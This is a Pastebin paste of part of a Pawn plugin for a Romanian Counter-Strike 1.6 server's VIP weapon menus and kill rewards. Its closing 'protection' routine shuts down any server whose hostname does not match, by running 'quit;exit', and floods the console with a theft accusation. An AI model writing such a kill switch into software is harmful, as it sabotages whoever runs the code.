  890.                 menu_additem(i_Menu, szMenuMulti, "2", 0)
  891.  
  892.                 if(is_vip(id))
  893.                 {
  894.                     formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + %s + Grenade", s_Pistol)
  895.                     menu_additem(i_Menu, szMenuMulti, "3", 0)
  896.  
  897.                     formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + %s + Grenade (Terrorist)", s_Pistol)
  898.                     menu_additem(i_Menu, szMenuMulti, "6", 0)
  899.  
  900.                     formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + %s + Grenade (Counter-Terrorist)", s_Pistol)
  901.                     menu_additem(i_Menu, szMenuMulti, "7", 0)
  902.                 }
  903.                 else if(!is_vip(id) || !has_flag(id, "x") || has_flag(id, "y"))
  904.                 {
  905.                     formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + [PISTOL] + Grenade \r[GOLD ONLY]")
  906.                     menu_additem(i_Menu, szMenuMulti, "3", ADMIN_ADMIN)
  907.  
  908.                     formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + [PISTOL] + Grenade (Terrorist) \r[GOLD ONLY]")
  909.                     menu_additem(i_Menu, szMenuMulti, "6", ADMIN_ADMIN)
  910.  
  911.                     formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + [PISTOL] + Grenade (Counter-Terrorist) \r[GOLD ONLY]")
  912.                     menu_additem(i_Menu, szMenuMulti, "7", ADMIN_ADMIN)
  913.                 }
  914.  
  915.                 if(g_Weapon[id] && g_chosen[id])
  916.                 {
  917.                     formatex(szMenuMulti, charsmax(szMenuMulti), "<<< Primul Meniu (Pistoale)")
  918.                     menu_additem(i_Menu, szMenuMulti, "8", 0)
  919.                 }
  920.  
  921.                 //g_chosen[id] = false;
  922.                 //vip_opened[id] = 0;
  923.                 //g_Weapon[id] = 0;
  924.  
  925.                 menu_setprop(i_Menu, MPROP_EXIT, MEXIT_ALL);
  926.                 menu_display(id, i_Menu, 0)
  927.             }
  928.             else
  929.             {
  930.                 if(get_pcvar_num(cvar_round))
  931.                 {
  932.                     chat_color(id, "!g[PLAY-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
  933.                     return PLUGIN_HANDLED;
  934.                 }
  935.                 else
  936.                 {
  937.                     chat_color(id, "!g[PLAY-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
  938.                     return PLUGIN_HANDLED;
  939.                 }
  940.             }
  941.         }
  942.         else
  943.             chat_color(id, "!g[PLAY-VIP]!t Sincer... ceva nu merge bine. Contacteaza-ne pe !gwww.leaguecs.ro/forum")
  944.     }
  945.     else
  946.         chat_color(id, "!g[PLAY-VIP]!t Esti mort... nu poti folosi meniul!")
  947.     //else
  948.         //chat_color(id, "!g[PLAY-VIP]!t Nu esti !gVIP!t. Foloseste comanda !g/help!t pentru afisare detalii")
  949.  
  950.     return PLUGIN_HANDLED;
  951. }
  952.  
  953. public main_handler(id, menu, item)
  954. {
  955.     if(item == MENU_EXIT)
  956.     {
  957.         menu_destroy(menu)
  958.         return PLUGIN_HANDLED;
  959.     }
  960.  
  961.     if(!is_user_alive(id) && !is_user_connected(id))
  962.         return PLUGIN_HANDLED;
  963.  
  964.     new s_Data[6], s_Name[60], i_Access, i_Callback
  965.     menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
  966.     new i_Key = str_to_num(s_Data)
  967.     new name[32]
  968.     get_user_name(id, name, charsmax(name))
  969.  
  970.     switch(g_Weapon[id])
  971.     {
  972.         case 0:
  973.         {
  974.             first_menu(id);
  975.             menu_destroy(menu);
  976.         }
  977.         case 1:
  978.         {
  979.             for(new i = 0;i < sizeof secondaryWeapons;i++)
  980.                 engclient_cmd(id, "drop", secondaryWeapons[i])
  981.  
  982.             give_item(id, "weapon_deagle")
  983.             cs_set_user_bpammo(id, CSW_DEAGLE, 35)
  984.         }
  985.         case 2:
  986.         {
  987.             for(new i = 0;i < sizeof secondaryWeapons;i++)
  988.                 engclient_cmd(id, "drop", secondaryWeapons[i])
  989.  
  990.             give_item(id, "weapon_usp")
  991.             cs_set_user_bpammo(id, CSW_USP, 100)
  992.         }
  993.         case 3:
  994.         {
  995.             if(pev(id, pev_weapons) & 1 << CSW_GLOCK18)
  996.             for(new i = 0;i < sizeof secondaryWeapons;i++)
  997.                 engclient_cmd(id, "drop", secondaryWeapons[i])
  998.  
  999.             give_item(id, "weapon_glock18")
  1000.             cs_set_user_bpammo(id, CSW_GLOCK18, 120)
  1001.         }
  1002.     }
  1003.  
  1004.     switch(i_Key)
  1005.     {
  1006.         case 1:
  1007.         {
  1008.             vip_opened[id]++
  1009.             /*if(user_has_weapon(id, CSW_C4))
  1010.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1011.  
  1012.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1013.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1014.  
  1015.             give_item(id, "weapon_m4a1")
  1016.             cs_set_user_bpammo(id, CSW_M4A1, 90)
  1017.  
  1018.             if(get_pcvar_num(cvar_chat) == 1)
  1019.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit M4A1 gratuit + !gGrenade", name)
  1020.         }
  1021.         case 2:
  1022.         {
  1023.             vip_opened[id]++
  1024.             /*if(user_has_weapon(id, CSW_C4))
  1025.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1026.  
  1027.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1028.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1029.  
  1030.             give_item(id, "weapon_ak47")
  1031.             cs_set_user_bpammo(id, CSW_AK47, 90)
  1032.  
  1033.             if(get_pcvar_num(cvar_chat) == 1)
  1034.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Ak47 gratuit + !gGrenade", name)
  1035.         }
  1036.         case 3:
  1037.         {
  1038.             vip_opened[id]++
  1039.             /*if(user_has_weapon(id, CSW_C4))
  1040.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1041.  
  1042.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1043.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1044.  
  1045.             give_item(id, "weapon_awp")
  1046.             cs_set_user_bpammo(id, CSW_AWP, 30)
  1047.  
  1048.             if(get_pcvar_num(cvar_chat) == 1)
  1049.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Polar gratuit + !gGrenade", name)
  1050.         }
  1051.         case 4:
  1052.         {
  1053.             vip_opened[id]++
  1054.             /*if(user_has_weapon(id, CSW_C4))
  1055.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1056.  
  1057.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1058.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1059.  
  1060.             give_item(id, "weapon_famas")
  1061.             cs_set_user_bpammo(id, CSW_FAMAS, 90)
  1062.  
  1063.             if(get_pcvar_num(cvar_chat) == 1)
  1064.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Famas gratuit + !gGrenade", name)
  1065.         }
  1066.         case 5:
  1067.         {
  1068.             vip_opened[id]++
  1069.             /*if(user_has_weapon(id, CSW_C4))
  1070.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1071.  
  1072.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1073.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1074.  
  1075.             give_item(id, "weapon_galil")
  1076.             cs_set_user_bpammo(id, CSW_GALIL, 90)
  1077.  
  1078.             if(get_pcvar_num(cvar_chat) == 1)
  1079.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Galil gratuit + !gGrenade", name)
  1080.         }
  1081.         case 6:
  1082.         {
  1083.             vip_opened[id]++
  1084.             /*if(user_has_weapon(id, CSW_C4))
  1085.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1086.  
  1087.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1088.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1089.  
  1090.             give_item(id, "weapon_g3sg1")
  1091.             cs_set_user_bpammo(id, CSW_G3SG1, 90)
  1092.  
  1093.             if(get_pcvar_num(cvar_chat) == 1)
  1094.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit G3SG1 (D3/AU-1) gratuit + !gGrenade", name)
  1095.         }
  1096.         case 7:
  1097.         {
  1098.             vip_opened[id]++
  1099.             /*if(user_has_weapon(id, CSW_C4))
  1100.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1101.  
  1102.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1103.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1104.  
  1105.             give_item(id, "weapon_sg550")
  1106.             cs_set_user_bpammo(id, CSW_SG550, 90)
  1107.  
  1108.             if(get_pcvar_num(cvar_chat) == 1)
  1109.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit SG550 (Counter-Terorist) gratuit + !gGrenade", name)
  1110.         }
  1111.         case 8:
  1112.         {
  1113.             g_chosen[id] = false;
  1114.             vip_opened[id] = 0;
  1115.             g_Weapon[id] = 0;
  1116.             first_menu(id);
  1117.         }
  1118.     }
  1119.  
  1120.     //menu_destroy(menu);
  1121.     return PLUGIN_CONTINUE;
  1122. }
  1123.  
  1124. public first_menu(id)
  1125. {
  1126.     if(!UserInBuyZone[id] && is_user_alive(id))
  1127.     {
  1128.         client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
  1129.         return PLUGIN_HANDLED;
  1130.     }
  1131.  
  1132.     if(remove_vip)
  1133.         return PLUGIN_HANDLED;
  1134.  
  1135.     if(!is_user_connected(id))
  1136.         return PLUGIN_HANDLED;
  1137.  
  1138.     i_Menu_Pistol = menu_create("Ce pistol doresti Boss?", "first_menu_handler")
  1139.  
  1140.     menu_additem(i_Menu_Pistol, "Deagle [35 Gloante]", "1", 0)
  1141.     menu_additem(i_Menu_Pistol, "USP [100 Gloante]", "2", 0)
  1142.     menu_additem(i_Menu_Pistol, "Glock [120 Gloante]\y", "3", 0)
  1143.  
  1144.     menu_setprop(i_Menu_Pistol, MPROP_EXIT, MEXIT_ALL);
  1145.     menu_display(id, i_Menu_Pistol, 0)
  1146.  
  1147.     return PLUGIN_HANDLED;
  1148. }
  1149.  
  1150. public first_menu_handler(id, menu, item)
  1151. {
  1152.     if(item == MENU_EXIT)
  1153.     {
  1154.         menu_destroy(menu)
  1155.         return PLUGIN_HANDLED
  1156.     }
  1157.  
  1158.     new s_Data[6], s_Name[60], i_Access, i_Callback
  1159.     menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
  1160.     new i_Key = str_to_num(s_Data)
  1161.  
  1162.     for(new i = 0;i <6;i++)
  1163.         fm_strip_user_gun(id, pistols[i])
  1164.  
  1165.     switch(i_Key)
  1166.     {
  1167.         case 1:
  1168.         {
  1169.             if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
  1170.             {
  1171.                 main_menu(id)
  1172.  
  1173.                 for(new i = 0;i < sizeof secondaryWeapons;i++)
  1174.                     engclient_cmd(id, "drop", secondaryWeapons[i])
  1175.             }
  1176.  
  1177.             g_chosen[id] = true;
  1178.             g_Weapon[id] = 1;
  1179.             give_item(id, "weapon_deagle")
  1180.             cs_set_user_bpammo(id, CSW_DEAGLE, 35)
  1181.         }
  1182.         case 2:
  1183.         {
  1184.             if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
  1185.             {
  1186.                 main_menu(id)
  1187.  
  1188.                 for(new i = 0;i < sizeof secondaryWeapons;i++)
  1189.                     engclient_cmd(id, "drop", secondaryWeapons[i])
  1190.             }
  1191.  
  1192.             g_chosen[id] = true;
  1193.             g_Weapon[id] = 2;
  1194.             give_item(id, "weapon_usp")
  1195.             cs_set_user_bpammo(id, CSW_USP, 100)
  1196.         }
  1197.         case 3:
  1198.         {
  1199.             if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
  1200.             {
  1201.                 main_menu(id)
  1202.  
  1203.                 for(new i = 0;i < sizeof secondaryWeapons;i++)
  1204.                     engclient_cmd(id, "drop", secondaryWeapons[i])
  1205.             }
  1206.  
  1207.             g_chosen[id] = true;
  1208.             g_Weapon[id] = 3;
  1209.             give_item(id, "weapon_glock18")
  1210.             cs_set_user_bpammo(id, CSW_GLOCK18, 120)
  1211.         }
  1212.     }
  1213.  
  1214.     //menu_destroy(menu);
  1215.     return PLUGIN_CONTINUE;
  1216. }
  1217.  
  1218. stock get_vips_online()
  1219. {
  1220.     new players[32], pnum, vs, i, userid
  1221.     get_players(players, pnum, "ch")
  1222.    
  1223.     for(i = 0; i < pnum; i++)
  1224.     {
  1225.         userid = players[i]
  1226.        
  1227.         if(!(is_vip(userid)))
  1228.             continue;
  1229.        
  1230.         vs ++;
  1231.     }
  1232.    
  1233.     return vs
  1234. }
  1235.  
  1236. stock chat_message(index, const message[], any:...)
  1237. {
  1238.     new sBuffer[256], dest
  1239.     vformat(sBuffer[1], charsmax(sBuffer), message, 3)
  1240.    
  1241.     sBuffer[0] = '^1'
  1242.    
  1243.     replace_all(sBuffer[1], charsmax(sBuffer), "!y", "^1")
  1244.     replace_all(sBuffer[1], charsmax(sBuffer), "!t", "^3")
  1245.     replace_all(sBuffer[1], charsmax(sBuffer), "!g", "^4")
  1246.    
  1247.     sBuffer[192] = '^0'
  1248.    
  1249.     if(index)
  1250.     {
  1251.         dest = MSG_ONE_UNRELIABLE
  1252.     }
  1253.     else
  1254.     {
  1255.         dest = MSG_BROADCAST
  1256.     }
  1257.    
  1258.     message_begin(dest, get_user_msgid("SayText"), {0, 0, 0}, index)
  1259.     write_byte(index)
  1260.     write_string(sBuffer)
  1261.     message_end()
  1262. }
  1263.  
  1264. /*public Damage(id)
  1265. {
  1266.     new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
  1267.     if(attacker<=MAXPLAYERS && is_user_alive(attacker) && attacker!=id)
  1268.     if(get_user_flags(id) & VIP_FLAG) //Checks if player is VIP
  1269.     {
  1270.         new money = read_data(2) * get_pcvar_num(cvar[money_hs]
  1271.         if(hitpoint==1) money += get_pcvar_num(cvar[money_hs] //Checks if player damages enemy by head shot
  1272.         cs_set_user_money(attacker,cs_get_user_money(attacker) + money) //Gives money for damaging enemys
  1273.     }
  1274. }*/
  1275.  
  1276. public event_DeathMsg()
  1277. {
  1278.     if(remove_vip)
  1279.         return PLUGIN_HANDLED;
  1280.  
  1281.     new killer = read_data(1);
  1282.     new victim = read_data(2);
  1283.     new headshot = read_data(3);
  1284.     new hp = headshot ? get_pcvar_num(cvar[hp_hs]) : get_pcvar_num(cvar[hp_kill]);
  1285.     new money = headshot ? get_pcvar_num(cvar[money_hs]) : get_pcvar_num(cvar[money_kill]);
  1286.  
  1287.     if(is_vip(victim))
  1288.         if(!g_chosen[victim])
  1289.             set_task(1.0, "first_menu", victim)
  1290.  
  1291.     if(is_user_alive(killer) && (is_vip(killer) || get_user_flags(killer) & read_flags("y") || vip_free))
  1292.     {
  1293.         if(killer == victim) return PLUGIN_HANDLED;
  1294.         if(hp != 0) set_user_health(killer, clamp(get_user_health(killer) + hp, 1, get_pcvar_num(cvar[max_hp_kill])));
  1295.         if(money != 0) cs_set_user_money(killer, clamp(cs_get_user_money(killer) + money - 300, 1, 16000));
  1296.  
  1297.         set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
  1298.         show_hudmessage(killer, "Healed +%d HP", hp);
  1299.  
  1300.         message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, killer);
  1301.         write_short(1<<10);
  1302.         write_short(1<<10);
  1303.         write_short(0x0000);
  1304.         write_byte(0);
  1305.         write_byte(0);
  1306.         write_byte(200);
  1307.         write_byte(75);
  1308.         message_end();
  1309.     }
  1310.  
  1311.     return PLUGIN_CONTINUE;
  1312. }
  1313.  
  1314. public hook_say(id)
  1315. {
  1316.     /*static szAllArgs[1023];
  1317.     read_args(szAllArgs, charsmax(szAllArgs))
  1318.     if((containi(szAllArgs, "/vip")!= -1 || containi(szAllArgs, "/vips")!= -1))
  1319.         return PLUGIN_HANDLED;*/
  1320.  
  1321.     new said[192];
  1322.     read_args(said,192);
  1323.     if(contain(said, "/vips") != -1)
  1324.         set_task(0.1,"check_vips",id);
  1325.  
  1326.     return PLUGIN_CONTINUE;
  1327. }
  1328.  
  1329. public check_vips(id)
  1330. {
  1331.     new sBuffer[128], sVipname[32], sSlots[34], userid, vs, i
  1332.    
  1333.     formatex(sBuffer, charsmax(sBuffer), "!t[-!gV!tI!gP's!t-] !gOnline: ")
  1334.    
  1335.     new z;
  1336.     if((z = get_vips_online()))
  1337.     {
  1338.         new players[32], pnum
  1339.         get_players(players, pnum, "ch")
  1340.        
  1341.         for(i = 0; i < pnum; i++)
  1342.         {
  1343.             userid = players[i]
  1344.            
  1345.             if(!(is_vip(userid)))
  1346.                 continue;
  1347.            
  1348.             vs ++;
  1349.             get_user_name(userid, sVipname, charsmax(sVipname))
  1350.             formatex(sSlots, charsmax(sSlots), "!t%s!g%s", sVipname, z == vs ? ".":", ")
  1351.             add(sBuffer, charsmax(sBuffer), sSlots)
  1352.         }
  1353.     }
  1354.     else if(!get_vips_online())
  1355.     {
  1356.         add(sBuffer, charsmax(sBuffer), "!tThere is no vip's !gOnline!")
  1357.     }
  1358.    
  1359.     chat_message(id, sBuffer)
  1360. }
  1361.  
  1362. public print_adminlist(user)
  1363. {
  1364.     new adminnames[33][32];
  1365.     new message[256];
  1366.     new id, count, x, len;
  1367.  
  1368.     for(id = 1 ; id <= get_maxplayers() ; id++)
  1369.         if(is_user_connected(id))
  1370.             if(is_vip(id) || get_user_flags(id) & read_flags("y"))
  1371.                 get_user_name(id, adminnames[count++], charsmax(adminnames[ ]));
  1372.  
  1373.     len = format(message, 255, "^1VIP-ii online sunt:^4 ");
  1374.     if(count > 0)
  1375.     {
  1376.         for(x = 0 ; x < count ; x++)
  1377.         {
  1378.             len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"");
  1379.             if(len > 96)
  1380.             {
  1381.                 print_message(user, message);
  1382.                 len = format(message, 255, " ");
  1383.             }
  1384.         }
  1385.         print_message(user, message);
  1386.     }
  1387.     else
  1388.         chat_color(id, "!g[PLAY - VIP]!t ^1Nu sunt ^4VIP^1-i online.")
  1389.  
  1390.     return PLUGIN_CONTINUE;
  1391. }
  1392.  
  1393. public StatusIcon_buyzone_OFF(id)
  1394. {
  1395.     if(!remove_vip)
  1396.     {
  1397.         UserInBuyZone[id] = false;
  1398.         CheckMenuClose(id);
  1399.     }
  1400. }
  1401.  
  1402. public Event_StatusIcon_Show_buyzone(id)
  1403.     if((is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
  1404.         UserInBuyZone[id] = true;
  1405.  
  1406. CheckMenuClose(id)
  1407. {
  1408.     new oldMenuId, newMenuId;
  1409.     player_menu_info(id, oldMenuId, newMenuId)
  1410.     if(newMenuId > -1 && newMenuId == i_Menu || newMenuId > -1 && newMenuId == i_Menu_Pistol)
  1411.         menu_cancel(id);
  1412. }
  1413.  
  1414. print_message(id, msg[])
  1415. {
  1416.     message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
  1417.     write_byte(id);
  1418.     write_string(msg);
  1419.     message_end();
  1420. }
  1421.  
  1422. stock bool: is_vip(const id)
  1423. {
  1424.     if(!is_user_connected(id))
  1425.         return false;
  1426.  
  1427.     if(IsUserVip[id] || get_user_flags(id) & read_flags("x")) /*|| equali(name, "seven|sin")|| equali(name, "PedoBear"))*/
  1428.         return true;
  1429.  
  1430.     return false;
  1431. }
  1432.  
  1433. stock chat_color(const id, const input[], any:...)
  1434. {
  1435.     new count = 1, Jucatori[32]
  1436.     static msg[191]
  1437.     vformat(msg, 190, input, 3)
  1438.  
  1439.     replace_all(msg, 190, "!g", "^4")//Culoarea Verde
  1440.     replace_all(msg, 190, "!y", "^1")//Culoarea Normala a Chat-ului (galben)
  1441.     replace_all(msg, 190, "!t", "^3")//Culoarea Echipei : CT = Albastru | T = Rosu.
  1442.  
  1443.     if (id)Jucatori[0] = id;else get_players(Jucatori, count, "ch")
  1444.     {
  1445.         for (new Y = 0;Y <count;Y++)
  1446.         {
  1447.             if (is_user_connected(Jucatori[Y]))
  1448.             {
  1449.                 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, Jucatori[Y])
  1450.                 write_byte(Jucatori[Y]);
  1451.                 write_string(msg);
  1452.                 message_end();
  1453.             }
  1454.         }
  1455.     }
  1456. }
  1457.  
  1458. //======================================================//
  1459. //      END Stock-URI ===>>>>> PROTECTIE
  1460. //======================================================//
  1461. /* Protected Plugin */
  1462. public _ProtectCheck_()
  1463. {
  1464.     new HostNameProtect[] = "PLAY.LEAGUECS.RO"
  1465.     new HostNameProtectTESTE[] = "Server Teste"
  1466.     new ActualHostname[64], xP[32], xN
  1467.  
  1468.     get_pcvar_string(get_cvar_pointer("hostname"), ActualHostname, 63)
  1469.     strtoupper(ActualHostname)
  1470.  
  1471.     if (containi(ActualHostname, HostNameProtect) != -1 || containi(ActualHostname, HostNameProtectTESTE) != -1)
  1472.         return PLUGIN_CONTINUE
  1473.     else
  1474.     {
  1475.         server_cmd("quit;exit;map de_dust2") //quit;exit;map de_dust2;map hns_floppywon -> VECHI
  1476.         pause("ade"); //Nou
  1477.         for (new i=0;i < 500000;i++)
  1478.         {
  1479.             get_players(xP, xN)
  1480.             //for (new o=0;o < xN;o++)
  1481.                 //chatcolor(xP[i], "!tPluginul este protejat. Aceasta este o tentativa de frauda.")
  1482.  
  1483.             server_print("[VIP PLAY] Doresti sa furi addons-ul, domnule? Cauta-l pe, PaulSB aka M@f!aSB, ca sa il cumperi!")
  1484.         }
  1485.     }
  1486.  
  1487.     return PLUGIN_CONTINUE
  1488. }
  1489. //======================================================//
  1490. //      END PROTECTIE
  1491. //======================================================//
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top